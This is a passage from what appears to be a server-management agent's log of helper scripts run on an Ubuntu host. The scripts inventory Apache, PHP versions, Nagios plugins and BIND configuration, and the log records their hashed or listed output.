		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-12-31 19:40:58: 

chmod 755 /tmp/pkp540427; /tmp/pkp540427; rm /tmp/pkp540427

2025-12-31 19:40:58: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 437995
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      437995  0.0  0.2 256144 35228 ?        Ss   Dec19   0:34 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_html_module (shared)
 proxy_http_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)
 xml2enc_module (shared)


2025-12-31 19:40:58: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'rog',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.3 LTS',
  'rel' => '24.04.3',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/swap.img',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'proxy_module',
      26 => 'proxy_html_module',
      27 => 'proxy_http_module',
      28 => 'proxy_wstunnel_module',
      29 => 'reqtimeout_module',
      30 => 'rewrite_module',
      31 => 'setenvif_module',
      32 => 'socache_shmcb_module',
      33 => 'ssl_module',
      34 => 'status_module',
      35 => 'xml2enc_module',
    ),
  ),
)


2025-12-31 19:40:58: 

PUT: /tmp/pkp692658

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2025-12-31 19:40:59: 

chmod 755 /tmp/pkp692658; /tmp/pkp692658; rm /tmp/pkp692658

2025-12-31 19:40:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2025-12-31 19:40:59: 

PUT: /tmp/pkp179288

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2025-12-31 19:40:59: 

chmod 755 /tmp/pkp179288; /tmp/pkp179288; rm /tmp/pkp179288

2025-12-31 19:41:00: 


[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.34
[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.34
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.29
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.29
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.16
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.16


2025-12-31 19:41:00: 

PUT: /tmp/pkp159925

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-12-31 19:41:01: 

chmod 755 /tmp/pkp159925; /tmp/pkp159925; rm /tmp/pkp159925

2025-12-31 19:41:01: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_ups)= 7fc188439261052a0089a7103b4ca5f0
bin(/usr/local/nagios/libexec/check_nwstat)= cad9eb4c84fade3e778388d1c397ca44
bin(/usr/local/nagios/libexec/check_smtp)= 58f20f1be6fe79ceb18495cdc8af30df
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 60fd670663059fda22ad3c69f060d28e
bin(/usr/local/nagios/libexec/check_apt)= 7d7bd3a78eeb8cb1cbff98658f6a2604
bin(/usr/local/nagios/libexec/check_swap)= f7b40653d50c41423fb55e1ef78fbd03
bin(/usr/local/nagios/libexec/check_real)= 10c4f762260b9188703147d7e2bf808e
bin(/usr/local/nagios/libexec/check_users)= acf263ca6679b08d634fce866a719390
bin(/usr/local/nagios/libexec/check_rpc)= 877c0b3732333358999e1ab17aed7a84
bin(/usr/local/nagios/libexec/check_ntp)= 3f27060ad856c95ba539b4a5e0ca9458
bin(/usr/local/nagios/libexec/check_disk)= dfb1f1e3c3262efcdd11d7bb366e9329
bin(/usr/local/nagios/libexec/check_dig)= 72f7fedb00b83dca84ddbedc6b1a9e65
bin(/usr/local/nagios/libexec/check_ide_smart)= e4282cdf643f611222dea7ed06ba7b1f
bin(/usr/local/nagios/libexec/check_breeze)= 17f1ae418f73ae66c13aedb92b0d7106
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_tcp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_printer.php)= e1b42354c26a7ee89ba22b3af8af1578
bin(/usr/local/nagios/libexec/check_ntp_peer)= 1012bb69dbe28a20c47f83cb8502829c
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_sensors)= 93f23897502fce95ac37b42b63f8a121
bin(/usr/local/nagios/libexec/check_ntp_time)= 93818330bf26c2823c1985254019368d
bin(/usr/local/nagios/libexec/check_disk_smb)= 20df89ee7110f042d6119b51b6b47fcc
bin(/usr/local/nagios/libexec/check_file_age)= f9c9e8f272624bac2336c0dc261aa4f1
bin(/usr/local/nagios/libexec/check_overcr)= 31e5b6e8d961a2c25c2cdd4febef9a3d
bin(/usr/local/nagios/libexec/check_by_ssh)= 55b5fda59ebdd27200d63a13133113c2
bin(/usr/local/nagios/libexec/check_nntp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_mailq)= 28bc32f5bed1017ecdb469e69ecb59ac
bin(/usr/local/nagios/libexec/check_ping)= f33d99f6a394c5341f7bb6390e2f44c2
bin(/usr/local/nagios/libexec/check_flexlm)= cef725bcbe5623da973584232b0fb1ea
bin(/usr/local/nagios/libexec/check_time)= 75ff7b75649deaa34ba5a8115e7bc1ea
bin(/usr/local/nagios/libexec/check_mrtg)= 40c6d0f71161c67f491aa11f57715867
bin(/usr/local/nagios/libexec/check_uptime)= 0a77a9f937bfb2ab6607abdd74e62f41
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_ftp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_nagios)= cd16ecade3f59c4bedac7c3038b411b9
bin(/usr/local/nagios/libexec/check_udp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifoperstatus)= a7f0a5a6623cb153cd11cc419088c74b
bin(/usr/local/nagios/libexec/check_log)= 9292b8656dd3ebc9f9cb3f0acdf45cf7
bin(/usr/local/nagios/libexec/check_imap)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifstatus)= 13135b7e17d4daf1fa87d7cf2c4e4f22
bin(/usr/local/nagios/libexec/check_icmp)= b0d58b5701f7b86f7738a43f175ede4a
bin(/usr/local/nagios/libexec/check_oracle)= 9c5171e12f0b1fe84b51eff80842fb66
bin(/usr/local/nagios/libexec/check_ssh)= 0dd020c1f83941e7b62063c2a1d2954d
bin(/usr/local/nagios/libexec/check_wave)= 98dd0b7a7884c98ec62701568047e010
bin(/usr/local/nagios/libexec/check_pop)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_cluster)= 08aeb28f2a6b3dceddda1dd90918388a
bin(/usr/local/nagios/libexec/check_load)= 7953042df164e8e47234a955376f77f4
bin(/usr/local/nagios/libexec/check_procs)= 0891055bb921943995cbbd8e9b7218bb
bin(/usr/local/nagios/libexec/check_nt)= 31d152e80f15be7ec2cd7f38fcd17d7a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_dhcp)= 66b6794ccc1f2702910eb2cf4503ada0
bin(/usr/local/nagios/libexec/check_ircd)= e006b8d46149f00c2e371ebd3176d283
bin(/usr/local/nagios/libexec/check_dns)= 2d442b7cf8b203520555e93b77b009e5
bin(/usr/local/nagios/libexec/check_clamd)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_dummy)= 99113a54b487e0c637b003dec276d294
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
bin(/usr/local/nagios/libexec/check_http)= a3764b736da28a6c9d17d07b65887e57


2025-12-31 19:41:01: 

PUT: /tmp/pkp421293

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2025-12-31 19:41:01: 

chmod 755 /tmp/pkp421293; /tmp/pkp421293; rm /tmp/pkp421293

2025-12-31 19:41:02: 


status=ok


2025-12-31 19:41:02: 

PUT: /tmp/pkp297592

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-31 19:41:02: 

chmod 755 /tmp/pkp297592; /tmp/pkp297592; rm /tmp/pkp297592

2025-12-31 19:41:02: 
(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/cityelectric_www_online.conf)= 98a5766b5fedd44b564deeae2b7f4597
MD5(/etc/ssl/certs/58e746b88fcdd674270ef29574194035.crt)= 022cdad52e685522d13d48e47c3c5686
MD5(/etc/apache2/sites-available/pjy_home_us.conf)= b92aff1e8d83db409d859ecc91bbe2ea
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= cf2fe72a73c3b239af4d8c6cf6e0c1a2
MD5(/etc/apache2/sites-available/theyoungdesigners_stage.conf)= 1516a9c3e0f6707ee8508f17374a4965
MD5(/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt)= 16e37f95816efad64fa47f57af88785c
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf)= 40743bf141b7da55b55cc9e1aa210026
MD5(/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt)= 0d7ac0488abb570c4dee9f344699ee85
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= ca34edd674c003e68e65b9ddf3a5583b
MD5(/etc/apache2/sites-available/pjy_alive_us.conf)= 11f7b6884662bd4fc09883fceeb3679c
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= cf2fe72a73c3b239af4d8c6cf6e0c1a2
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2/sites-available/theyoungdesigners_stage.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf
link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2/sites-available/pjy_alive_us.conf




STDERR:
/tmp/pkp297592:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2025-12-31 19:41:16: Establishing a connection
2025-12-31 19:41:17: 

PUT: /tmp/pkp222562

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-31 19:41:17: 

runuser -l bind -s /bin/bash -c '/tmp/pkp222562; rm /tmp/pkp222562'

2025-12-31 19:41:17: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
